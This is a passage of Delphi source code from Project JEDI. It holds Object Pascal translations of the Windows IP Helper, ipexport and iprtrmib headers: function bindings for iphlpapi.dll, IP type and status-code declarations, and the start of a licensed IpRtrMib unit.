//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function SetTcpEntry(const pTcpRow: MIB_TCPROW): DWORD; stdcall;
{$EXTERNALSYM SetTcpEntry}

function GetInterfaceInfo(pIfTable: PIP_INTERFACE_INFO; var dwOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetInterfaceInfo}

function GetUniDirectionalAdapterInfo(pIPIfInfo: PIP_UNIDIRECTIONAL_ADAPTER_ADDRESS;
var dwOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetUniDirectionalAdapterInfo(OUT PIP_UNIDIRECTIONAL_ADAPTER_ADDRESS pIPIfInfo}

{$ELSE}

var
SetTcpEntry: function (const pTcpRow: MIB_TCPROW): DWORD; stdcall;
{$EXTERNALSYM SetTcpEntry}

GetInterfaceInfo: function (pIfTable: PIP_INTERFACE_INFO; var dwOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetInterfaceInfo}

GetUniDirectionalAdapterInfo: function (pIPIfInfo: PIP_UNIDIRECTIONAL_ADAPTER_ADDRESS;
var dwOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetUniDirectionalAdapterInfo(OUT PIP_UNIDIRECTIONAL_ADAPTER_ADDRESS pIPIfInfo}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets the "best" outgoing interface for the specified destination address //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetBestInterface(dwDestAddr: IPAddr; var pdwBestIfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM GetBestInterface}

{$ELSE}

var
GetBestInterface: function (dwDestAddr: IPAddr; var pdwBestIfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM GetBestInterface}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets the best (longest matching prefix) route for the given destination //
// If the source address is also specified (i.e. is not 0x00000000), and //
// there are multiple "best" routes to the given destination, the returned //
// route will be one that goes out over the interface which has an address //
// that matches the source address //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetBestRoute(dwDestAddr, dwSourceAddr: DWORD; pBestRoute: PMIB_IPFORWARDROW): DWORD; stdcall;
{$EXTERNALSYM GetBestRoute}

function NotifyAddrChange(var Handle: THandle; overlapped: POVERLAPPED): DWORD; stdcall;
{$EXTERNALSYM NotifyAddrChange}

function NotifyRouteChange(var Handle: THandle; overlapped: POVERLAPPED): DWORD; stdcall;
{$EXTERNALSYM NotifyRouteChange}

function GetAdapterIndex(AdapterName: LPWSTR; var IfIndex: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetAdapterIndex}

function AddIPAddress(Address: IPAddr; IpMask: IPMask; IfIndex: DWORD;
var NTEContext, NTEInstance: ULONG): DWORD; stdcall;
{$EXTERNALSYM AddIPAddress}

function DeleteIPAddress(NTEContext: ULONG): DWORD; stdcall;
{$EXTERNALSYM DeleteIPAddress}

function GetNetworkParams(pFixedInfo: PFIXED_INFO; var pOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetNetworkParams}

function GetAdaptersInfo(pAdapterInfo: PIP_ADAPTER_INFO; var pOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetAdaptersInfo}

function GetPerAdapterInfo(IfIndex: ULONG; pPerAdapterInfo: PIP_PER_ADAPTER_INFO;
var pOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetPerAdapterInfo}

function IpReleaseAddress(const AdapterInfo: IP_ADAPTER_INDEX_MAP): DWORD; stdcall;
{$EXTERNALSYM IpReleaseAddress}

function IpRenewAddress(const AdapterInfo: IP_ADAPTER_INDEX_MAP): DWORD; stdcall;
{$EXTERNALSYM IpRenewAddress}

function SendARP(const DestIP, SrcIP: IPAddr; pMacAddr: PULONG; var PhyAddrLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM SendARP}

function GetRTTAndHopCount(DestIpAddress: IPAddr; var HopCount: ULONG;
MaxHops: ULONG; var RTT: ULONG): BOOL; stdcall;
{$EXTERNALSYM GetRTTAndHopCount}

function GetFriendlyIfIndex(IfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM GetFriendlyIfIndex}

function EnableRouter(var pHandle: THandle; pOverlapped: POVERLAPPED): DWORD; stdcall;
{$EXTERNALSYM EnableRouter}

function UnenableRouter(pOverlapped: POVERLAPPED; lpdwEnableCount: LPDWORD): DWORD; stdcall;
{$EXTERNALSYM UnenableRouter}

{$ELSE}

var
GetBestRoute: function (dwDestAddr, dwSourceAddr: DWORD; pBestRoute: PMIB_IPFORWARDROW): DWORD; stdcall;
{$EXTERNALSYM GetBestRoute}

NotifyAddrChange: function (var Handle: THandle; overlapped: POVERLAPPED): DWORD; stdcall;
{$EXTERNALSYM NotifyAddrChange}

NotifyRouteChange: function (var Handle: THandle; overlapped: POVERLAPPED): DWORD; stdcall;
{$EXTERNALSYM NotifyRouteChange}

GetAdapterIndex: function (AdapterName: LPWSTR; var IfIndex: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetAdapterIndex}

AddIPAddress: function (Address: IPAddr; IpMask: IPMask; IfIndex: DWORD;
var NTEContext, NTEInstance: ULONG): DWORD; stdcall;
{$EXTERNALSYM AddIPAddress}

DeleteIPAddress: function (NTEContext: ULONG): DWORD; stdcall;
{$EXTERNALSYM DeleteIPAddress}

GetNetworkParams: function (pFixedInfo: PFIXED_INFO; var pOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetNetworkParams}

GetAdaptersInfo: function (pAdapterInfo: PIP_ADAPTER_INFO; var pOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetAdaptersInfo}

GetPerAdapterInfo: function (IfIndex: ULONG; pPerAdapterInfo: PIP_PER_ADAPTER_INFO;
var pOutBufLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM GetPerAdapterInfo}

IpReleaseAddress: function (const AdapterInfo: IP_ADAPTER_INDEX_MAP): DWORD; stdcall;
{$EXTERNALSYM IpReleaseAddress}

IpRenewAddress: function (const AdapterInfo: IP_ADAPTER_INDEX_MAP): DWORD; stdcall;
{$EXTERNALSYM IpRenewAddress}

SendARP: function (const DestIP, SrcIP: IPAddr; pMacAddr: PULONG; var PhyAddrLen: ULONG): DWORD; stdcall;
{$EXTERNALSYM SendARP}

GetRTTAndHopCount: function (DestIpAddress: IPAddr; var HopCount: ULONG;
MaxHops: ULONG; var RTT: ULONG): BOOL; stdcall;
{$EXTERNALSYM GetRTTAndHopCount}

GetFriendlyIfIndex: function (IfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM GetFriendlyIfIndex}

EnableRouter: function (var pHandle: THandle; pOverlapped: POVERLAPPED): DWORD; stdcall;
{$EXTERNALSYM EnableRouter}

UnenableRouter: function (pOverlapped: POVERLAPPED; lpdwEnableCount: LPDWORD): DWORD; stdcall;
{$EXTERNALSYM UnenableRouter}

{$ENDIF}

{$IFDEF IPHLPAPI_LINKONREQUEST}

function IpHlpApiInitAPI: Boolean;
procedure IpHlpApiFreeAPI;

{$ENDIF}

function IpHlpApiCheckAPI: Boolean;

implementation

const
iphlpapilib = 'iphlpapi.dll';

{$IFNDEF IPHLPAPI_DYNLINK}

function GetNumberOfInterfaces; external iphlpapilib name 'GetNumberOfInterfaces';
function GetIfEntry; external iphlpapilib name 'GetIfEntry';
function GetIfTable; external iphlpapilib name 'GetIfTable';
function GetIpAddrTable; external iphlpapilib name 'GetIpAddrTable';
function GetIpNetTable; external iphlpapilib name 'GetIpNetTable';
function GetIpForwardTable; external iphlpapilib name 'GetIpForwardTable';
function GetTcpTable; external iphlpapilib name 'GetTcpTable';
function GetUdpTable; external iphlpapilib name 'GetUdpTable';
function GetIpStatistics; external iphlpapilib name 'GetIpStatistics';
function GetIcmpStatistics; external iphlpapilib name 'GetIcmpStatistics';
function GetTcpStatistics; external iphlpapilib name 'GetTcpStatistics';
function GetUdpStatistics; external iphlpapilib name 'GetUdpStatistics';
function SetIfEntry; external iphlpapilib name 'SetIfEntry';
function CreateIpForwardEntry; external iphlpapilib name 'CreateIpForwardEntry';
function SetIpForwardEntry; external iphlpapilib name 'SetIpForwardEntry';
function DeleteIpForwardEntry; external iphlpapilib name 'DeleteIpForwardEntry';
function SetIpStatistics; external iphlpapilib name 'SetIpStatistics';
function SetIpTTL; external iphlpapilib name 'SetIpTTL';
function CreateIpNetEntry; external iphlpapilib name 'CreateIpNetEntry';
function SetIpNetEntry; external iphlpapilib name 'SetIpNetEntry';
function DeleteIpNetEntry; external iphlpapilib name 'DeleteIpNetEntry';
function FlushIpNetTable; external iphlpapilib name 'FlushIpNetTable';
function CreateProxyArpEntry; external iphlpapilib name 'CreateProxyArpEntry';
function DeleteProxyArpEntry; external iphlpapilib name 'DeleteProxyArpEntry';
function SetTcpEntry; external iphlpapilib name 'SetTcpEntry';
function GetInterfaceInfo; external iphlpapilib name 'GetInterfaceInfo';
function GetUniDirectionalAdapterInfo; external iphlpapilib name 'GetUniDirectionalAdapterInfo';
function GetBestInterface; external iphlpapilib name 'GetBestInterface';
function GetBestRoute; external iphlpapilib name 'GetBestRoute';
function NotifyAddrChange; external iphlpapilib name 'NotifyAddrChange';
function NotifyRouteChange; external iphlpapilib name 'NotifyRouteChange';
function GetAdapterIndex; external iphlpapilib name 'GetAdapterIndex';
function AddIPAddress; external iphlpapilib name 'AddIPAddress';
function DeleteIPAddress; external iphlpapilib name 'DeleteIPAddress';
function GetNetworkParams; external iphlpapilib name 'GetNetworkParams';
function GetAdaptersInfo; external iphlpapilib name 'GetAdaptersInfo';
function GetPerAdapterInfo; external iphlpapilib name 'GetPerAdapterInfo';
function IpReleaseAddress; external iphlpapilib name 'IpReleaseAddress';
function IpRenewAddress; external iphlpapilib name 'IpRenewAddress';
function SendARP; external iphlpapilib name 'SendARP';
function GetRTTAndHopCount; external iphlpapilib name 'GetRTTAndHopCount';
function GetFriendlyIfIndex; external iphlpapilib name 'GetFriendlyIfIndex';
function EnableRouter; external iphlpapilib name 'EnableRouter';
function UnenableRouter; external iphlpapilib name 'UnenableRouter';

{$ELSE}

var
HIpHlpApi: THandle = 0;

function IpHlpApiInitAPI: Boolean;
begin
Result := False;
if HIphlpapi = 0 then HIpHlpApi := LoadLibrary(iphlpapilib);
if HIpHlpApi > HINSTANCE_ERROR then
begin
@GetNetworkParams := GetProcAddress(HIpHlpApi, 'GetNetworkParams');
@GetAdaptersInfo := GetProcAddress(HIpHlpApi, 'GetAdaptersInfo');
@GetPerAdapterInfo := GetProcAddress(HIpHlpApi, 'GetPerAdapterInfo');
@GetAdapterIndex := GetProcAddress(HIpHlpApi, 'GetAdapterIndex');
@GetUniDirectionalAdapterInfo := GetProcAddress(HIpHlpApi, 'GetUniDirectionalAdapterInfo');
@GetNumberOfInterfaces := GetProcAddress(HIpHlpApi, 'GetNumberOfInterfaces');
@GetInterfaceInfo := GetProcAddress(HIpHlpApi, 'GetInterfaceInfo');
@GetFriendlyIfIndex := GetProcAddress(HIpHlpApi, 'GetFriendlyIfIndex');
@GetIfTable := GetProcAddress(HIpHlpApi, 'GetIfTable');
@GetIfEntry := GetProcAddress(HIpHlpApi, 'GetIfEntry');
@SetIfEntry := GetProcAddress(HIpHlpApi, 'SetIfEntry');
@GetIpAddrTable := GetProcAddress(HIpHlpApi, 'GetIpAddrTable');
@AddIPAddress := GetProcAddress(HIpHlpApi, 'AddIPAddress');
@DeleteIPAddress := GetProcAddress(HIpHlpApi, 'DeleteIPAddress');
@IpReleaseAddress := GetProcAddress(HIpHlpApi, 'IpReleaseAddress');
@IpRenewAddress := GetProcAddress(HIpHlpApi, 'IpRenewAddress');
@GetIpNetTable := GetProcAddress(HIpHlpApi, 'GetIpNetTable');
@CreateIpNetEntry := GetProcAddress(HIpHlpApi, 'CreateIpNetEntry');
@DeleteIpNetEntry := GetProcAddress(HIpHlpApi, 'DeleteIpNetEntry');
@CreateProxyArpEntry := GetProcAddress(HIpHlpApi, 'CreateProxyArpEntry');
@DeleteProxyArpEntry := GetProcAddress(HIpHlpApi, 'DeleteProxyArpEntry');
@SendARP := GetProcAddress(HIpHlpApi, 'SendARP');
@GetIpStatistics := GetProcAddress(HIpHlpApi, 'GetIpStatistics');
@GetIcmpStatistics := GetProcAddress(HIpHlpApi, 'GetIcmpStatistics');
@SetIpStatistics := GetProcAddress(HIpHlpApi, 'SetIpStatistics');
@SetIpTTL := GetProcAddress(HIpHlpApi, 'SetIpTTL');
@GetIpForwardTable := GetProcAddress(HIpHlpApi,'GetIpForwardTable');
@CreateIpForwardEntry := GetProcAddress(HIpHlpApi, 'CreateIpForwardEntry');
@GetTcpTable := GetProcAddress(HIpHlpApi, 'GetTcpTable');
@GetUdpTable := GetProcAddress(HIpHlpApi, 'GetUdpTable');
@GetTcpStatistics := GetProcAddress(HIpHlpApi, 'GetTcpStatistics');
@GetUdpStatistics := GetProcAddress(HIpHlpApi, 'GetUdpStatistics');
@SetIpForwardEntry := GetProcAddress(HIpHlpApi, 'SetIpForwardEntry');
@DeleteIpForwardEntry := GetProcAddress(HIpHlpApi, 'DeleteIpForwardEntry');
@SetIpNetEntry := GetProcAddress(HIpHlpApi, 'SetIpNetEntry');
@SetTcpEntry := GetProcAddress(HIpHlpApi, 'SetTcpEntry');
@GetBestRoute := GetProcAddress(HIpHlpApi, 'GetBestRoute');
@NotifyAddrChange := GetProcAddress(HIpHlpApi, 'NotifyAddrChange');
@NotifyRouteChange := GetProcAddress(HIpHlpApi, 'NotifyRouteChange');
@GetBestInterface := GetProcAddress(HIpHlpApi, 'GetBestInterface');
@GetRTTAndHopCount := GetProcAddress(HIpHlpApi, 'GetRTTAndHopCount');
@EnableRouter := GetProcAddress(HIpHlpApi, 'EnableRouter');
@UnenableRouter := GetProcAddress(HIpHlpApi, 'UnenableRouter');
Result := True;
end;
end;

procedure IpHlpApiFreeAPI;
begin
if HIpHlpApi <> 0 then FreeLibrary(HIpHlpApi);
HIpHlpApi := 0;
end;

{$ENDIF}

function IpHlpApiCheckAPI: Boolean;
begin
{$IFDEF IPHLPAPI_DYNLINK}
Result := HIpHlpApi <> 0;
{$ELSE}
Result := True;
{$ENDIF}
end;

initialization

{$IFDEF IPHLPAPI_DYNLINK}
{$IFNDEF IPHLPAPI_LINKONREQUEST}
IpHlpApiInitAPI;
{$ENDIF}
{$ENDIF}

finalization

{$IFDEF IPHLPAPI_DYNLINK}
IpHlpApiFreeAPI;
{$ENDIF}

end.



--------------------------
unit IpExport;

{$WEAKPACKAGEUNIT}

{$HPPEMIT ''}
{$HPPEMIT '#include "ipexport.h"'}
{$HPPEMIT ''}

//{$I WINDEFINES.INC}

interface

uses
Windows;

//
// IP type definitions.
//

type
IPAddr = Cardinal; // An IP address.
{$EXTERNALSYM IPAddr}
IPMask = Cardinal; // An IP subnet mask.
{$EXTERNALSYM IPMask}
IP_STATUS = Cardinal; // Status code returned from IP APIs.
{$EXTERNALSYM IP_STATUS}

//
// The ip_option_information structure describes the options to be
// included in the header of an IP packet. The TTL, TOS, and Flags
// values are carried in specific fields in the header. The OptionsData
// bytes are carried in the options area following the standard IP header.
// With the exception of source route options, this data must be in the
// format to be transmitted on the wire as specified in RFC 791. A source
// route option should contain the full route - first hop thru final
// destination - in the route data. The first hop will be pulled out of the
// data and the option will be reformatted accordingly. Otherwise, the route
// option should be formatted as specified in RFC 791.
//

type
ip_option_information = record
Ttl: Byte; // Time To Live
Tos: Byte; // Type Of Service
Flags: Byte; // IP header flags
OptionsSize: Byte; // Size in bytes of options data
OptionsData: PByte; // Pointer to options data
end;
{$EXTERNALSYM ip_option_information}
TIpOptionInformation = ip_option_information;
PIpOptionInformation = ^ip_option_information;

//
// The icmp_echo_reply structure describes the data returned in response
// to an echo request.
//

icmp_echo_reply = record
Address: IPAddr; // Replying address
Status: Cardinal; // Reply IP_STATUS
RoundTripTime: Cardinal; // RTT in milliseconds
DataSize: Word; // Reply data size in bytes
Reserved: Word; // Reserved for system use
Data: Pointer; // Pointer to the reply data
Options: ip_option_information; // Reply options
end;
{$EXTERNALSYM icmp_echo_reply}
PIP_OPTION_INFORMATION = ^IP_OPTION_INFORMATION;
{$EXTERNALSYM PIP_OPTION_INFORMATION}
PICMP_ECHO_REPLY = ^ICMP_ECHO_REPLY;
{$EXTERNALSYM PICMP_ECHO_REPLY}
TIcmpEchoReply = icmp_echo_reply;
PIcmpEchoReply = PICMP_ECHO_REPLY;

PARP_SEND_REPLY = ^ARP_SEND_REPLY;
{$EXTERNALSYM PARP_SEND_REPLY}
ArpRequestBuffer = record
DestAddress: IPAddr;
SrcAddress: IPAddr;
end;
{$EXTERNALSYM ArpRequestBuffer}
ARP_SEND_REPLY = ArpRequestBuffer;
{$EXTERNALSYM ARP_SEND_REPLY}
TArpRequestBuffer = ARP_SEND_REPLY;
PArpRequestBuffer = PARP_SEND_REPLY;

_TCP_RESERVE_PORT_RANGE = record
UpperRange: Word;
LowerRange: Word;
end;
{$EXTERNALSYM _TCP_RESERVE_PORT_RANGE}
TCP_RESERVE_PORT_RANGE = _TCP_RESERVE_PORT_RANGE;
{$EXTERNALSYM TCP_RESERVE_PORT_RANGE}
TTcpReservePortRange = _TCP_RESERVE_PORT_RANGE;
PTcpReservePortRange = ^TCP_RESERVE_PORT_RANGE;

const
MAX_ADAPTER_NAME = 128;
{$EXTERNALSYM MAX_ADAPTER_NAME}

type
PIP_ADAPTER_INDEX_MAP = ^IP_ADAPTER_INDEX_MAP;
{$EXTERNALSYM PIP_ADAPTER_INDEX_MAP}
_IP_ADAPTER_INDEX_MAP = record
Index: ULONG;
Name: array [0..MAX_ADAPTER_NAME - 1] of WCHAR;
end;
{$EXTERNALSYM _IP_ADAPTER_INDEX_MAP}
IP_ADAPTER_INDEX_MAP = _IP_ADAPTER_INDEX_MAP;
{$EXTERNALSYM IP_ADAPTER_INDEX_MAP}
TIpAdapterIndexMap = IP_ADAPTER_INDEX_MAP;
PIpAdapterIndexMap = PIP_ADAPTER_INDEX_MAP;

PIP_INTERFACE_INFO = ^IP_INTERFACE_INFO;
{$EXTERNALSYM PIP_INTERFACE_INFO}
_IP_INTERFACE_INFO = record
NumAdapters: Longint;
Adapter: array [0..0] of IP_ADAPTER_INDEX_MAP;
end;
{$EXTERNALSYM _IP_INTERFACE_INFO}
IP_INTERFACE_INFO = _IP_INTERFACE_INFO;
{$EXTERNALSYM IP_INTERFACE_INFO}
TIpInterfaceInfo = IP_INTERFACE_INFO;
PIpInterfaceInfo = PIP_INTERFACE_INFO;

PIP_UNIDIRECTIONAL_ADAPTER_ADDRESS = ^IP_UNIDIRECTIONAL_ADAPTER_ADDRESS;
{$EXTERNALSYM PIP_UNIDIRECTIONAL_ADAPTER_ADDRESS}
_IP_UNIDIRECTIONAL_ADAPTER_ADDRESS = record
NumAdapters: ULONG;
Address: array [0..0] of IPAddr;
end;
{$EXTERNALSYM _IP_UNIDIRECTIONAL_ADAPTER_ADDRESS}
IP_UNIDIRECTIONAL_ADAPTER_ADDRESS = _IP_UNIDIRECTIONAL_ADAPTER_ADDRESS;
{$EXTERNALSYM IP_UNIDIRECTIONAL_ADAPTER_ADDRESS}
TIpUnidirectionalAdapterAddress = IP_UNIDIRECTIONAL_ADAPTER_ADDRESS;
PIpUnidirectionalAdapterAddress = PIP_UNIDIRECTIONAL_ADAPTER_ADDRESS;

PIP_ADAPTER_ORDER_MAP = ^IP_ADAPTER_ORDER_MAP;
{$EXTERNALSYM PIP_ADAPTER_ORDER_MAP}
_IP_ADAPTER_ORDER_MAP = record
NumAdapters: ULONG;
AdapterOrder: array [0..0] of ULONG;
end;
{$EXTERNALSYM _IP_ADAPTER_ORDER_MAP}
IP_ADAPTER_ORDER_MAP = _IP_ADAPTER_ORDER_MAP;
{$EXTERNALSYM IP_ADAPTER_ORDER_MAP}
TIpAdapterOrderMap = IP_ADAPTER_ORDER_MAP;
PIpAdapterOrderMap = PIP_ADAPTER_ORDER_MAP;

//
// IP_STATUS codes returned from IP APIs
//

const
IP_STATUS_BASE = 11000;
{$EXTERNALSYM IP_STATUS_BASE}

IP_SUCCESS = 0;
{$EXTERNALSYM IP_SUCCESS}
IP_BUF_TOO_SMALL = IP_STATUS_BASE + 1;
{$EXTERNALSYM IP_BUF_TOO_SMALL}
IP_DEST_NET_UNREACHABLE = IP_STATUS_BASE + 2;
{$EXTERNALSYM IP_DEST_NET_UNREACHABLE}
IP_DEST_HOST_UNREACHABLE = IP_STATUS_BASE + 3;
{$EXTERNALSYM IP_DEST_HOST_UNREACHABLE}
IP_DEST_PROT_UNREACHABLE = IP_STATUS_BASE + 4;
{$EXTERNALSYM IP_DEST_PROT_UNREACHABLE}
IP_DEST_PORT_UNREACHABLE = IP_STATUS_BASE + 5;
{$EXTERNALSYM IP_DEST_PORT_UNREACHABLE}
IP_NO_RESOURCES = IP_STATUS_BASE + 6;
{$EXTERNALSYM IP_NO_RESOURCES}
IP_BAD_OPTION = IP_STATUS_BASE + 7;
{$EXTERNALSYM IP_BAD_OPTION}
IP_HW_ERROR = IP_STATUS_BASE + 8;
{$EXTERNALSYM IP_HW_ERROR}
IP_PACKET_TOO_BIG = IP_STATUS_BASE + 9;
{$EXTERNALSYM IP_PACKET_TOO_BIG}
IP_REQ_TIMED_OUT = IP_STATUS_BASE + 10;
{$EXTERNALSYM IP_REQ_TIMED_OUT}
IP_BAD_REQ = IP_STATUS_BASE + 11;
{$EXTERNALSYM IP_BAD_REQ}
IP_BAD_ROUTE = IP_STATUS_BASE + 12;
{$EXTERNALSYM IP_BAD_ROUTE}
IP_TTL_EXPIRED_TRANSIT = IP_STATUS_BASE + 13;
{$EXTERNALSYM IP_TTL_EXPIRED_TRANSIT}
IP_TTL_EXPIRED_REASSEM = IP_STATUS_BASE + 14;
{$EXTERNALSYM IP_TTL_EXPIRED_REASSEM}
IP_PARAM_PROBLEM = IP_STATUS_BASE + 15;
{$EXTERNALSYM IP_PARAM_PROBLEM}
IP_SOURCE_QUENCH = IP_STATUS_BASE + 16;
{$EXTERNALSYM IP_SOURCE_QUENCH}
IP_OPTION_TOO_BIG = IP_STATUS_BASE + 17;
{$EXTERNALSYM IP_OPTION_TOO_BIG}
IP_BAD_DESTINATION = IP_STATUS_BASE + 18;
{$EXTERNALSYM IP_BAD_DESTINATION}

//
// The next group are status codes passed up on status indications to
// transport layer protocols.
//

IP_ADDR_DELETED = IP_STATUS_BASE + 19;
{$EXTERNALSYM IP_ADDR_DELETED}
IP_SPEC_MTU_CHANGE = IP_STATUS_BASE + 20;
{$EXTERNALSYM IP_SPEC_MTU_CHANGE}
IP_MTU_CHANGE = IP_STATUS_BASE + 21;
{$EXTERNALSYM IP_MTU_CHANGE}
IP_UNLOAD = IP_STATUS_BASE + 22;
{$EXTERNALSYM IP_UNLOAD}
IP_ADDR_ADDED = IP_STATUS_BASE + 23;
{$EXTERNALSYM IP_ADDR_ADDED}
IP_MEDIA_CONNECT = IP_STATUS_BASE + 24;
{$EXTERNALSYM IP_MEDIA_CONNECT}
IP_MEDIA_DISCONNECT = IP_STATUS_BASE + 25;
{$EXTERNALSYM IP_MEDIA_DISCONNECT}
IP_BIND_ADAPTER = IP_STATUS_BASE + 26;
{$EXTERNALSYM IP_BIND_ADAPTER}
IP_UNBIND_ADAPTER = IP_STATUS_BASE + 27;
{$EXTERNALSYM IP_UNBIND_ADAPTER}
IP_DEVICE_DOES_NOT_EXIST = IP_STATUS_BASE + 28;
{$EXTERNALSYM IP_DEVICE_DOES_NOT_EXIST}
IP_DUPLICATE_ADDRESS = IP_STATUS_BASE + 29;
{$EXTERNALSYM IP_DUPLICATE_ADDRESS}
IP_INTERFACE_METRIC_CHANGE = IP_STATUS_BASE + 30;
{$EXTERNALSYM IP_INTERFACE_METRIC_CHANGE}
IP_RECONFIG_SECFLTR = IP_STATUS_BASE + 31;
{$EXTERNALSYM IP_RECONFIG_SECFLTR}
IP_NEGOTIATING_IPSEC = IP_STATUS_BASE + 32;
{$EXTERNALSYM IP_NEGOTIATING_IPSEC}
IP_INTERFACE_WOL_CAPABILITY_CHANGE = IP_STATUS_BASE + 33;
{$EXTERNALSYM IP_INTERFACE_WOL_CAPABILITY_CHANGE}
IP_DUPLICATE_IPADD = IP_STATUS_BASE + 34;
{$EXTERNALSYM IP_DUPLICATE_IPADD}

IP_GENERAL_FAILURE = IP_STATUS_BASE + 50;
{$EXTERNALSYM IP_GENERAL_FAILURE}
MAX_IP_STATUS = IP_GENERAL_FAILURE;
{$EXTERNALSYM MAX_IP_STATUS}
IP_PENDING = IP_STATUS_BASE + 255;
{$EXTERNALSYM IP_PENDING}

//
// Values used in the IP header Flags field.
//

IP_FLAG_DF = $2; // Don't fragment this packet.
{$EXTERNALSYM IP_FLAG_DF}

//
// Supported IP Option Types.
//
// These types define the options which may be used in the OptionsData field
// of the ip_option_information structure. See RFC 791 for a complete
// description of each.
//

IP_OPT_EOL = 0; // End of list option
{$EXTERNALSYM IP_OPT_EOL}
IP_OPT_NOP = 1; // No operation
{$EXTERNALSYM IP_OPT_NOP}
IP_OPT_SECURITY = $82; // Security option
{$EXTERNALSYM IP_OPT_SECURITY}
IP_OPT_LSRR = $83; // Loose source route
{$EXTERNALSYM IP_OPT_LSRR}
IP_OPT_SSRR = $89; // Strict source route
{$EXTERNALSYM IP_OPT_SSRR}
IP_OPT_RR = $7; // Record route
{$EXTERNALSYM IP_OPT_RR}
IP_OPT_TS = $44; // Timestamp
{$EXTERNALSYM IP_OPT_TS}
IP_OPT_SID = $88; // Stream ID (obsolete)
{$EXTERNALSYM IP_OPT_SID}
IP_OPT_ROUTER_ALERT = $94; // Router Alert Option
{$EXTERNALSYM IP_OPT_ROUTER_ALERT}

MAX_OPT_SIZE = 40; // Maximum length of IP options in bytes
{$EXTERNALSYM MAX_OPT_SIZE}

// Ioctls code exposed by Memphis tcpip stack.
// For NT these ioctls are define in ntddip.h (private/inc)

IOCTL_IP_RTCHANGE_NOTIFY_REQUEST = 101;
{$EXTERNALSYM IOCTL_IP_RTCHANGE_NOTIFY_REQUEST}
IOCTL_IP_ADDCHANGE_NOTIFY_REQUEST = 102;
{$EXTERNALSYM IOCTL_IP_ADDCHANGE_NOTIFY_REQUEST}
IOCTL_ARP_SEND_REQUEST = 103;
{$EXTERNALSYM IOCTL_ARP_SEND_REQUEST}
IOCTL_IP_INTERFACE_INFO = 104;
{$EXTERNALSYM IOCTL_IP_INTERFACE_INFO}
IOCTL_IP_GET_BEST_INTERFACE = 105;
{$EXTERNALSYM IOCTL_IP_GET_BEST_INTERFACE}
IOCTL_IP_UNIDIRECTIONAL_ADAPTER_ADDRESS = 106;
{$EXTERNALSYM IOCTL_IP_UNIDIRECTIONAL_ADAPTER_ADDRESS}

implementation

end.

[red]IpRtrMid单元[/red]
{******************************************************************************}
{ }
{ Management Information Base API interface Unit for Object Pascal }
{ }
{ Portions created by Microsoft are Copyright (C) 1995-2001 Microsoft }
{ Corporation. All Rights Reserved. }
{ }
{ The original file is: iprtrmib.h, released July 2000. The original Pascal }
{ code is: IpRtrMib.pas, released September 2000. The initial developer of the }
{ Pascal code is Marcel van Brakel (brakelm@chello.nl). }
{ }
{ Portions created by Marcel van Brakel are Copyright (C) 1999-2001 }
{ Marcel van Brakel. All Rights Reserved. }
{ }
{ Contributor(s): John C. Penman (jcp@craiglockhart.com) }
{ Vladimir Vassiliev (voldemarv@hotpop.com) }
{ }
{ Obtained through: Joint Endeavour of Delphi Innovators (Project JEDI) }
{ }
{ You may retrieve the latest version of this file at the Project JEDI home }
{ page, located at http://delphi-jedi.org or my personal homepage located at }
{ http://members.chello.nl/m.vanbrakel2 }
{ }
{ The contents of this file are used with permission, subject to the Mozilla }
{ Public License Version 1.1 (the "License"); you may not use this file except }
{ in compliance with the License. You may obtain a copy of the License at }
{ http://www.mozilla.org/MPL/MPL-1.1.html }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, }
{ WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for }
{ the specific language governing rights and limitations under the License. }
{ }
{ Alternatively, the contents of this file may be used under the terms of the }
{ GNU Lesser General Public License (the "LGPL License"), in which case the }
{ provisions of the LGPL License are applicable instead of those above. }
{ If you wish to allow use of your version of this file only under the terms }
{ of the LGPL License and not to allow others to use your version of this file }
{ under the MPL, indicate your decision by deleting the provisions above and }
{ replace them with the notice and other provisions required by the LGPL }
{ License. If you do not delete the provisions above, a recipient may use }
{ your version of this file under either the MPL or the LGPL License. }
{ }
{ For more information about the LGPL: http://www.gnu.org/copyleft/lesser.html }
{ }
{******************************************************************************}

unit IpRtrMib;

{$WEAKPACKAGEUNIT}

{$HPPEMIT ''}
{$HPPEMIT '#include "iprtrmib.h"'}
{$HPPEMIT ''}

//{$I WINDEFINES.INC}

interface

uses
Windows;

//////////////////////////////////////////////////////////////////////////////
// //
// Included to get the value of MAX_INTERFACE_NAME_LEN //
// //
//////////////////////////////////////////////////////////////////////////////

// #include <mprapi.h>

//////////////////////////////////////////////////////////////////////////////
// //
// Included to get the necessary constants //
// //
//////////////////////////////////////////////////////////////////////////////

// #include <ipifcons.h>

//////////////////////////////////////////////////////////////////////////////
// //
// This is the Id for IP Router Manager. The Router Manager handles //
// MIB-II, Forwarding MIB and some enterprise specific information. //
// Calls made with any other ID are passed on to the corresponding protocol //
// For example, an MprAdminMIBXXX call with a protocol ID of PID_IP and //
// a routing Id of 0xD will be sent to the IP Router Manager and then //
// forwarded to OSPF //
// This lives in the same number space as the protocol Ids of RIP, OSPF //
// etc, so any change made to it should be done keeping this in mind //
// //
//////////////////////////////////////////////////////////////////////////////

const
